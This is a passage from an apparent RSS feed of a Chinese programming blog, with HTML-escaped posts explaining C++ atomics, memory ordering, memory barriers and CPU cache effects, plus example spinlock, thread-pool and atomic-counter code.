            synchronized (Singleton.class) {
                if (instance == null) {
                    instance = new Singleton();
                }
            }
        }
        return instance;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;2. atomic = 原子操作 + 内存顺序: 现代并发编程的基石&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;为了解决 &lt;code&gt;volatile&lt;/code&gt; 的局限性，C++11 标准引入了原子操作(&lt;code&gt;std::atomic&lt;/code&gt;)和内存顺序(&lt;code&gt;std::memory_order&lt;/code&gt;)。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;原子性 (Atomicity)&lt;/strong&gt;：保证一个操作（如读、写、修改）在执行过程中不会被其他线程中断。它要么完全执行，要么完全不执行，不存在中间状态。这是通过特殊的 CPU 指令（如 x86 的 &lt;code&gt;LOCK&lt;/code&gt; 前缀）实现的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内存顺序 (Memory Ordering)&lt;/strong&gt;：定义了原子操作如何影响其他内存操作的可见性顺序，即构造一个事件的“发生在…之前”(happens-before) 的关系，从而限制编译器和 CPU 的乱序行为。
std::atomic 有两个功能：原子 &amp;amp; 内存序
&lt;strong&gt;原则：&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;大多数变量无需是原子的。只有当一个变量可能被多个线程同时访问，且至少有一个访问是写操作时，才必须将其声明为原子类型。这能帮助编译器和 CPU 精确地知道哪些内存访问需要特别保护，从而在保证并发安全的同时，最大化对其他代码的优化。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;&lt;strong&gt;3. 内存屏障(Memory Barrier)：显式控制乱序&lt;/strong&gt;&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;编译器优化、CPU、缓存 都有可能导致乱序执行&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;内存屏障是用于在代码中创建同步点的指令，它可以阻止编译器和 CPU 跨越屏障进行指令重排。&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;编译器屏障 (Compiler Barrier)&lt;/strong&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// 告诉编译器，内存中的所有内容都可能已改变
// 禁止编译器将屏障前的内存读写指令重排到屏障后，反之亦然
asm volatile(&quot;&quot; ::: &quot;memory&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：仅对编译器有效，禁止编译器跨屏障重排内存访问指令，强制编译器将屏障前的所有内存读写操作完成，并让屏障后的内存读取操作&lt;strong&gt;重新从内存加载&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;局限&lt;/strong&gt;：与 &lt;code&gt;volatile&lt;/code&gt; 类似，它无法阻止 CPU 级别的乱序执行。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;strong&gt;硬件内存屏障 (Hardware Memory Barrier)&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;硬件内存屏障通过特定的 CPU 指令，直接作用于 CPU，以确保内存操作的顺序性。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// GCC/Clang 内置函数，生成一个全功能的内存屏障
__sync_synchronize(); 
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：这是一条“重量级”指令，通常会生成如 x86 的 &lt;code&gt;mfence&lt;/code&gt; 或 ARM 的 &lt;code&gt;dmb ish&lt;/code&gt; 指令。它确保&lt;strong&gt;屏障之前的所有内存读写操作，必须在屏障之后的任何内存读写操作开始之前，对其他核心全局可见&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;对应关系&lt;/strong&gt;：在 C++ 原子操作中，&lt;code&gt;std::memory_order_seq_cst&lt;/code&gt; 通常会产生一个完整的硬件内存屏障。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;4. 内存序 &lt;code&gt;std::memory_order&lt;/code&gt;&lt;/strong&gt; (重点)&lt;/h3&gt;
&lt;p&gt;内存顺序是 C++ 并发编程中最精细也最复杂的工具，它允许程序员根据具体场景选择不同强度的同步保证，以实现性能和正确性之间的最佳平衡。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;memory_order_relaxed&lt;/code&gt;：&lt;strong&gt;宽松序&lt;/strong&gt;。 这是最弱的内存序，仅保证操作的原子性，不提供任何跨线程的顺序保证。没有额外的内存同步语义，允许指令自由重排（与架构有关）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;memory_order_acquire&lt;/code&gt;：&lt;strong&gt;获取序&lt;/strong&gt;。 通常用在读操作上。它建立了一个“获取屏障”，&lt;strong&gt;禁止该操作之后的所有内存操作被重排到该操作之前&lt;/strong&gt;。它必须与一个 &lt;code&gt;release&lt;/code&gt; 操作配对，以观察其写入的数据。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;memory_order_release&lt;/code&gt;：&lt;strong&gt;释放序&lt;/strong&gt;。 通常用在写操作上。它建立了一个“释放屏障”，&lt;strong&gt;禁止该操作之前的所有内存操作被重排到该操作之后&lt;/strong&gt;。所有在 &lt;code&gt;release&lt;/code&gt; 操作之前发生的写操作，对于之后执行相应 &lt;code&gt;acquire&lt;/code&gt; 操作的线程都是可见的。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;memory_order_acq_rel&lt;/code&gt;：&lt;strong&gt;获取-释放序&lt;/strong&gt;。 同时具备 &lt;code&gt;acquire&lt;/code&gt; 和 &lt;code&gt;release&lt;/code&gt; 的特性，通常用于“读-修改-写”类型的操作。它既能“获取”其他线程 &lt;code&gt;release&lt;/code&gt; 的数据，又能向其他线程 &lt;code&gt;release&lt;/code&gt; 自己的写入。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;memory_order_consume&lt;/code&gt;：&lt;strong&gt;消费序&lt;/strong&gt;。这是一个与 &lt;code&gt;acquire&lt;/code&gt; 类似的较弱版本，仅对存在依赖关系的操作施加顺序限制。由于其复杂性和实现难度，目前主流编译器通常会将其提升为 &lt;code&gt;memory_order_acquire&lt;/code&gt; 对待，因此在实践中较少使用。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;memory_order_seq_cst&lt;/code&gt;：&lt;strong&gt;顺序一致性&lt;/strong&gt;。 这是最强的内存序，也是默认的内存序。它不仅提供 &lt;code&gt;acquire&lt;/code&gt; 和 &lt;code&gt;release&lt;/code&gt; 的保证，还确保所有线程看到的 &lt;code&gt;seq_cst&lt;/code&gt; 操作都遵循一个单一的、全局的总顺序。 这意味着不会出现“凭空加载”(out-of-thin-air reads) 等现象，但性能开销也最大。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;显然，memory_order是有性能开销的：&lt;/p&gt;
&lt;h4&gt;深度解析：C++内存序 与 CPU缓存架构 的性能博弈&lt;/h4&gt;
&lt;p&gt;CPU核心的缓存子系统: 从硬件层面剖析&lt;code&gt;std::memory_order&lt;/code&gt;不同选项如何与&lt;strong&gt;存储缓冲区&lt;/strong&gt;(&lt;code&gt;Store Buffer&lt;/code&gt;)&lt;strong&gt;、无效化队列&lt;/strong&gt;(&lt;code&gt;Invalidate Queue&lt;/code&gt;)等机制交互，从而揭示其性能开销的根源。&lt;/p&gt;
&lt;h5&gt;核心前提：现代CPU的性能优化与乱序执行&lt;/h5&gt;
&lt;p&gt;为隐藏内存访问延迟，现代CPU普遍采用&lt;strong&gt;多级缓存&lt;/strong&gt;、&lt;strong&gt;乱序执行(Out-of-Order Execution)&lt;/strong&gt; 和&lt;strong&gt;存储转发(Store-to-load forwarding)&lt;/strong&gt; 等优化手段。其中两个关键组件是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;存储缓冲区(Store Buffer)&lt;/strong&gt;：当一个CPU核心执行写操作时，数据被临时置于此缓冲区，核心可立即执行后续指令，无需等待数据写入L1缓存。这极大地隐藏了写延迟。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;无效化队列(Invalidate Queue)&lt;/strong&gt;：当一个核心修改了其缓存中的数据后，它会通过缓存一致性协议（如MESI）向其他核心广播“无效化”消息。其他核心接收到消息后，会将其放入无效化队列，并在适当时机处理，以避免阻塞当前正在执行的指令。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Store Buffer&lt;/code&gt;示例：Core-A想修改(‘Write’)一个Core-B的缓存中‘Shared’的数据，但Core-A不想向总线发送无效化信息然后一直等待Core-B的确认。它直接把要写的数据扔进自己的&lt;strong&gt;Store Buffer&lt;/strong&gt;，然后立刻继续执行下一条指令。等到Core-B终于回了确认，Core-A再在后台把Store Buffer里的数据真正写入L1 Cache。
副作用：&lt;code&gt;Store-Load&lt;/code&gt; 乱序。Core-A自己能从Store Buffer里读到最新的值，但其他核心（Core-B）完全看不到Core-A刚才的写操作，直到数据从Store Buffer刷入Cache。
&lt;code&gt;Invalidate Queue&lt;/code&gt;示例：Core-B收到了Core-A发来的Invalidate消息。按照协议，它应该立刻把自己的Cache Line设为Invalid并回执。但如果Core-B正忙，处理这个消息会打断流水线。于是，Core-B把这个消息扔进&lt;strong&gt;Invalidate Queue&lt;/strong&gt;，立马给Core-A回个“收到”，然后继续干自己的事。
副作用：&lt;code&gt;Load-Load&lt;/code&gt; 乱序。Core-B虽然承诺了“我会把这个缓存行无效化”，但它还没来得及做。此时Core-B去读这个变量，读到的依然是Cache里的旧值（Stale Data），尽管它名义上已经收到了无效化通知。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;std::memory_order 如何与这些硬件“打架”&lt;/h4&gt;
&lt;p&gt;这些优化虽然提升了单核性能，却打破了程序代码顺序与实际执行顺序的一致性，为多线程编程带来了挑战。&lt;/p&gt;
&lt;p&gt;而&lt;strong&gt;内存序正是用于在编译器和硬件层面施加约束，以保证跨线程的可见性和顺序性&lt;/strong&gt;。（如彻底清空 Store Buffer 并 彻底处理 Invalidate Queue）&lt;/p&gt;
&lt;h4&gt;不同内存序的硬件级成本分析&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;内存序&lt;/th&gt;
&lt;th&gt;核心同步属性&lt;/th&gt;
&lt;th&gt;编译器与硬件重排约束&lt;/th&gt;
&lt;th&gt;典型硬件实现（指令/屏障）&lt;/th&gt;
&lt;th&gt;性能影响&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;memory_order_relaxed&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;仅保证单次操作的原子性&lt;/td&gt;
&lt;td&gt;几乎无约束，允许指令自由重排&lt;/td&gt;
&lt;td&gt;普通的&lt;code&gt;MOV&lt;/code&gt;或&lt;code&gt;ADD&lt;/code&gt;等原子指令&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;极低&lt;/strong&gt;。几乎不干扰CPU的优化流水线&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;memory_order_acquire/release&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;建立成对的线程间同步关系(Happens-Before)&lt;/td&gt;
&lt;td&gt;阻止特定方向的局部重排&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Release&lt;/strong&gt;: 可能需要写屏障(Store Barrier) &amp;lt;br&amp;gt; &lt;strong&gt;Acquire&lt;/strong&gt;: 可能需要读屏障(Load Barrier)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;中等&lt;/strong&gt;。引入定向屏障，产生可控的同步开销&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;memory_order_seq_cst&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;建立所有&lt;code&gt;seq_cst&lt;/code&gt;操作的全局单一总顺序&lt;/td&gt;
&lt;td&gt;禁止几乎所有指令重排&lt;/td&gt;
&lt;td&gt;可能需要全功能内存屏障(Full Memory Fence)，如x86的&lt;code&gt;MFENCE&lt;/code&gt;或&lt;code&gt;LOCK&lt;/code&gt;前缀指令&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;高&lt;/strong&gt;。可能导致流水线停顿，严重影响性能&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;这就是为什么在高性能编程（如无锁队列）中，开发者会绞尽脑汁地使用relaxed，仅在关键同步点使用acquire/release，并极力避免seq_cst的原因。因为每一个内存序等级的提升，都是在让CPU昂贵的流水线停下来去等待慢速的内存交互。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下面我们具体分析每种内存序与硬件交互的细节：&lt;/p&gt;
&lt;h5&gt;0. 普通变量：完全无约束非原子变量&lt;/h5&gt;
&lt;p&gt;普通变量的读写，编译器可能会进行非常激进的优化，比如将变量长时间保留在寄存器中，根本不写回缓存，从而导致其他线程完全无法观察到其变化。&lt;/p&gt;
&lt;h5&gt;1. &lt;code&gt;memory_order_relaxed&lt;/code&gt;：无约束的原子执行&lt;/h5&gt;
&lt;p&gt;&lt;code&gt;relaxed&lt;/code&gt;内存序仅确保操作的原子性，即不会发生指令撕裂。它对编译器和CPU的乱序执行不施加任何额外的限制。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;硬件交互&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;写操作&lt;/strong&gt;(&lt;code&gt;store&lt;/code&gt;): 一个&lt;code&gt;relaxed&lt;/code&gt;写操作会将其值放入当前核心的&lt;strong&gt;存储缓冲区&lt;/strong&gt;，CPU流水线可以无缝地继续执行后续指令，直到缓存系统准备好（例如，获得了对应Cache Line的独占权），再异步地被刷新到L1缓存。该值何时被刷新到L1缓存并对其他核心可见，是不确定的。（但这也正是relaxed操作几乎无额外开销的原因）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;读操作&lt;/strong&gt;(&lt;code&gt;load&lt;/code&gt;): 一个&lt;code&gt;relaxed&lt;/code&gt;读操作可以从本地缓存、甚至直接从存储缓冲区（若发生Store-to-load forwarding）获取数据。它不会等待其他核心的更新。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结论&lt;/strong&gt;：此模型完全拥抱CPU的缓存和乱序优化，只保证自身原子性，几乎没有额外开销，但无法用于线程间的状态同步。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;2. &lt;code&gt;memory_order_acquire&lt;/code&gt; / &lt;code&gt;memory_order_release&lt;/code&gt;：定向的同步信道&lt;/h5&gt;
&lt;p&gt;这对内存序是实现高效线程间同步的关键。它们必须配对使用，共同在生产者和消费者线程之间建立明确的“先行发生（Happens-Before）”关系。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;硬件交互&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;acquire&lt;/code&gt; 读操作&lt;/strong&gt;: 它扮演一个“获取屏障”的角色。该指令会确保所有在&lt;code&gt;acquire&lt;/code&gt;操作之后的内存读写，必须在该&lt;code&gt;acquire&lt;/code&gt;操作完成&lt;strong&gt;之后&lt;/strong&gt;才能开始执行。硬件层面，这可能要求CPU&lt;strong&gt;处理其无效化队列中所有待处理的条目&lt;/strong&gt;，确保本地缓存状态是“最新”的，然后再执行&lt;code&gt;acquire&lt;/code&gt;读操作。这保证了当前线程能够正确地“看到”由其他线程通过&lt;code&gt;release&lt;/code&gt;操作发布的所有数据。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;release&lt;/code&gt; 写操作&lt;/strong&gt;: 它扮演一个“释放屏障”的角色。该指令会确保所有在&lt;code&gt;release&lt;/code&gt;操作之前的内存读写，其结果必须在&lt;code&gt;release&lt;/code&gt;操作本身对其他核心可见&lt;strong&gt;之前&lt;/strong&gt;完成。在硬件层面，这通常意味着&lt;strong&gt;强制清空(drain)存储缓冲区&lt;/strong&gt;，确保所有缓冲区的写操作都已提交到L1缓存。只有这样，&lt;code&gt;release&lt;/code&gt;的写操作才能被提交，从而确保数据对其他核心是“可发布的”。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结论&lt;/strong&gt;：Acquire-Release通过定向的内存屏障，在特定线程间构建了高效的同步通道，其开销仅限于清空存储缓冲区和处理无效化队列，相比全局屏障更为精准和低廉。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;3. &lt;code&gt;memory_order_seq_cst&lt;/code&gt;：全局的执行仲裁者&lt;/h5&gt;
&lt;p&gt;这是最强、最直观，同时也是开销最高的内存序。它不仅具备&lt;code&gt;acquire&lt;/code&gt;和&lt;code&gt;release&lt;/code&gt;的所有特性，还额外保证&lt;strong&gt;所有线程看到的全部&lt;code&gt;seq_cst&lt;/code&gt;操作都遵循一个唯一的、全局一致的顺序&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;硬件交互&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;要实现全局单一顺序，&lt;code&gt;seq_cst&lt;/code&gt;操作需要插入&lt;strong&gt;全功能内存屏障(Full Memory Fence)&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;在x86这类强内存模型架构上，一个&lt;code&gt;seq_cst&lt;/code&gt;写操作通常会编译成带有&lt;code&gt;LOCK&lt;/code&gt;前缀的指令（如&lt;code&gt;XCHG&lt;/code&gt;），这本身就隐含了一个全功能的内存屏障。而在ARM等弱内存模型架构上，则可能需要显式的屏障指令（如&lt;code&gt;DMB SY&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;这个屏障是一个极其“昂贵”的操作。它会：
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;暂停指令派发&lt;/strong&gt;，等待流水线中所有已执行的内存操作完成。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;完全清空存储缓冲区&lt;/strong&gt;，并等待所有写操作被系统确认。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;处理完整个无效化队列&lt;/strong&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;这种行为&lt;strong&gt;严重破坏了CPU的乱序执行和缓存优化&lt;/strong&gt;，导致显著的流水线停顿（Pipeline Stall），是其高昂性能成本的直接原因。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;fetch_add()&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;std::atomic&amp;lt;int&amp;gt; count = 0;
count.fetch_add(1, std::memory_order_relaxed); // (x86)lock add ✅
// 类似于（但其实是一个不可分的 lock add 原子指令操作）
// r0 = load // relaxed
// add r0, r0, #1
// store r0  // relaxed
count.fetch_add(1, std::memory_order_acq_rel); // (x86)lock add ✅
// r0 = load // acquire
// add r0, r0, #1
// store r0  // release

// 等价于 .fetch_add(1, std::memory_order_seq_cst); ✅
count += 1; // or count++; / ++count;    

// 等价于 count.store(count.load() + 1); // 是3条可分的指令，不保证原子性，线程不安全 ❌
count = count + 1;

// Q: 现在我知道了count = count + 1;线程不安全，但是我怎么处理`自定义运算`呢？
// A: CAS
// P.S **如果 count 是会被其他线程读取的，需改为release的CAS**，反之可以直接全部使用relaxed
int old_count = count.load(std::memory_order_relaxed);
int new_count;
do {
    new_count = f(old_count) // 自定义运算(不依赖于其他共享数据)
} while (!count.compare_exchange_weak(old_count, new_count, std::memory_order_release, std::memory_order_relaxed));

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;5. 示例代码&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;这个 &lt;code&gt;release-acquire&lt;/code&gt; 模型是并发编程中最常用、最高效的同步范式之一。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;atomic&amp;gt;
#include &amp;lt;thread&amp;gt;
std::atomic&amp;lt;bool&amp;gt; done {false};
void worker() {
    // 生产者线程完成一些工作后...
    // 使用 memory_order_release，确保在 done = true 之前的所有写操作
    // 对于消费线程都是可见的。
    done.store(true, std::memory_order_release);
}
void waiter() {
    // 消费者线程等待工作完成
    // 使用 memory_order_acquire，确保在读取到 done == true 后
    // 能看到生产者在 release 之前的所有写操作。
    while (!done.load(std::memory_order_acquire)) {
        // 等待
    }
    // 在此之后，可以安全地访问生产者写入的数据
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// 自旋锁
struct SpinMutex {
    std::atomic&amp;lt;bool&amp;gt; flag{false};
    bool try_lock() {
        bool expected = false;
        if (flag.compare_exchange_strong(expected, true, std::memory_order_acquire, std::memory_order_relaxed))
            // load barrier
            return true;
        return false;
    }
    void lock() {
        bool expected = false;
        while (!flag.compare_exchange_weak(expected, true, std::memory_order_acquire, std::memory_order_relaxed))
            expected = false; // 因为STD的CAS中 weakCAS失败后会把传入的引用(expected)修改，只能手动赋值为false重置。。。
        // load barrier
    }
    void unlock() {
        // data change and then unlock.
        // store barrier
        flag.store(false, std::memory_order_release);
    }
    // 使用 futex 等待队列 优化自旋
    void lock_futex() {
        bool expected;
#if __cpp_lib_atomic_wait
        int retries = 1000;
        do {
            expected = false;
            if (flag.compare_exchange_weak(expected, true, std::memory_order_acquire, std::memory_order_relaxed))
                // load barrier
                return;
        } while (--retries);
#endif
        do {
#if __cpp_lib_atomic_wait
            // fast-user-space mutex = futex (linux) SYS_futex
            flag.wait(true, std::memory_order_relaxed); // wait until not true
#endif
            expected = false;
        } while (!flag.compare_exchange_weak(expected, true, std::memory_order_acquire, std::memory_order_relaxed));
        // load barrier
    }
    void unlock_futex() {
        // data change and then unlock
        // store barrier
        flag.store(false, std::memory_order_release);
#if __cpp_lib_atomic_wait
        flag.notify_one();
#endif
    }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;6. 不同架构的内存模型的区别：&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;x86&lt;/code&gt; 架构：强内存模型(&lt;strong&gt;TSO&lt;/strong&gt;, Total Store Order 完全存储定序)，除 &lt;code&gt;StoreLoad&lt;/code&gt; 外，基本不允许其他重排。
&lt;code&gt;ARM&lt;/code&gt; 架构：弱内存模型，允许 LoadLoad, LoadStore, StoreStore等多种重排。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对 memory_order_relaxed 来说：
&lt;ul&gt;
&lt;li&gt;x86因架构本身内存限制已很强，本身的内存序级别跟seq_cst只有禁止StoreLoad重排、保证全局顺序一致性的区别&lt;/li&gt;
&lt;li&gt;ARM则会允许各种重排，内存序relax只保证该原子操作本身是原子的，别的不管。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;对 memory_order_seq_cst ：
&lt;ul&gt;
&lt;li&gt;ARM 使用指令集 stlr (=dmb ish + str + dmb ish), ldar&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;P.S. 没有 &lt;code&gt;ARM&lt;/code&gt; 架构的PC完全可以考虑手机下载 &lt;code&gt;Termux&lt;/code&gt;来做验证，通过电脑ssh上去编译cpp代码来观察其内存序行为(pkg install clang)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Q: 性能动机: 为什么强内存模型的x86不允许各种重排，却“独爱”StoreLoad重排，允许了它的存在？
&lt;ul&gt;
&lt;li&gt;A: 核心在于写操作Store的延迟远高于读操作Load。当一个CPU核心要写入一个内存地址时，它必须首先通过缓存一致性协议（如MESI）获得该地址所在缓存行(Cache Line)的独占所有权(Exclusive)。这个过程可能非常耗时：对非独占的缓存行，此核心必须发送“读取并无效化”(&lt;strong&gt;Read For Ownership&lt;/strong&gt;)的请求，等待其他核心将缓存行失效并把最新数据发送过来；甚至cache miss导致要从主存中加载，延迟更高。导致整个执行流水线都必须停顿！&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Store-Load&lt;/code&gt;重排的实际流程：不等待直接将“STORE x, 数据”这个写操作放入&lt;strong&gt;存储缓冲区&lt;/strong&gt;，然后&lt;strong&gt;立即&lt;/strong&gt;继续执行下一条指令。执行Load指令。此时，内存控制器并行地在后台缓慢地处理存储缓冲区中的写请求，以及Load指令的读请求，实现对高延迟的写操作“异步化”。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;总结&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;volatile&lt;/code&gt;&lt;/strong&gt;：用于与内存映射的硬件交互或在信号处理程序中使用（如：嵌入式），&lt;strong&gt;不用于线程间同步&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;编译器屏障&lt;/strong&gt;：仅阻止编译器重排，无法阻止硬件乱序。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;硬件屏障&lt;/strong&gt;：功能强大但开销高，通常通过原子操作间接使用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原子操作 + 内存顺序&lt;/strong&gt;：是现代 C++ 中进行多线程编程的&lt;strong&gt;正确且唯一可靠&lt;/strong&gt;的方式。它通过提供精确的原子性和内存顺序保证，从根本上解决了数据竞争和未定义行为的问题。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;认识到架构差异&lt;/strong&gt;: 为编写可移植的正确代码，必须依据C++标准，而非某种特定架构的行为。所以x86开发者（强内存模型）也需要学习完整的内存序知识并在CI中添加ARM架构测试（&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>concurrent</title><link>https://blog.alinche.dpdns.org/posts/concurrent/concurrent/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/concurrent/concurrent/</guid><description>并发同步原语</description><pubDate>Wed, 16 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;并发编程中的同步问题，硬件和软件在同步中的作用&lt;/h1&gt;
&lt;h2&gt;0. thread.h&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;atomic&amp;gt;
#include &amp;lt;cassert&amp;gt;
#include &amp;lt;chrono&amp;gt;
#include &amp;lt;condition_variable&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;functional&amp;gt;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;mutex&amp;gt;
#include &amp;lt;thread&amp;gt;
#include &amp;lt;vector&amp;gt;

#define NTHREAD 64
enum ThreadStatus { T_FREE = 0, T_LIVE, T_DEAD };

struct Thread {
    int id;
    std::atomic&amp;lt;int&amp;gt; status;
    std::thread thread;
    std::function&amp;lt;void(int)&amp;gt; entry;
};

class ThreadPool {
  private:
    std::vector&amp;lt;Thread&amp;gt; threads;
    std::vector&amp;lt;std::function&amp;lt;void(int)&amp;gt;&amp;gt; task_queue;
    std::mutex mtx;
    std::condition_variable cv;
    bool stop = false;

  public:
    ThreadPool() : threads(NTHREAD) {
        // 预先启动所有线程，等待任务
        for (int i = 0; i &amp;lt; NTHREAD; ++i) {
            threads[i].id = i + 1;
            threads[i].status.store(T_LIVE);
            threads[i].thread = std::thread([this, i]() {
                while (true) {
                    std::unique_lock&amp;lt;std::mutex&amp;gt; lock(this-&amp;gt;mtx);
                    this-&amp;gt;cv.wait(lock, [this]() { return !this-&amp;gt;task_queue.empty() || this-&amp;gt;stop; });
                    if (this-&amp;gt;stop &amp;amp;&amp;amp; this-&amp;gt;task_queue.empty()) {
                        break;
                    }
                    if (!this-&amp;gt;task_queue.empty()) {
                        auto task = this-&amp;gt;task_queue.front();
                        this-&amp;gt;task_queue.erase(this-&amp;gt;task_queue.begin());
                        lock.unlock();
                        task(threads[i].id);
                        threads[i].status.store(T_FREE);
                    }
                }
            });
        }
    }

    void create(const std::function&amp;lt;void(int)&amp;gt;&amp;amp; fn) {
        std::lock_guard&amp;lt;std::mutex&amp;gt; lock(mtx);
        task_queue.push_back(fn);
        cv.notify_one();
    }

    void join() {
        stop = true;
        cv.notify_all();
        for (auto&amp;amp; thread : threads) {
            if (thread.thread.joinable()) {
                thread.thread.join();
            }
        }
    }

    ~ThreadPool() { join(); }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;1. 原子操作 (Atomic Operations)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;不可中断的指令序列，保证内存操作的完整性
&lt;ul&gt;
&lt;li&gt;现代CPU通过硬件支持（如缓存一致性协议MESI）实现原子性&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#include &quot;thread.h&quot;
#include &amp;lt;atomic&amp;gt;

using namespace std;

constexpr int N = 100000;
// int sum = 0; // Racing (&amp;lt;100000)
atomic&amp;lt;int&amp;gt; sum(0);
atomic_flag flag = ATOMIC_FLAG_INIT;

void Tsum(int id) {
    for (int i = 0; i &amp;lt; N; ++i) {
        // sum++;
        sum.fetch_add(1, std::memory_order_relaxed); // atomic_fetch_add(&amp;amp;sum, 1);
    }
}
int main() {
    ThreadPool tpool;
    tpool.create(Tsum);
    tpool.create(Tsum);
    this_thread::sleep_for(chrono::seconds(1));
    cout &amp;lt;&amp;lt; &quot;sum = &quot; &amp;lt;&amp;lt; sum &amp;lt;&amp;lt; &quot;\n&quot;;
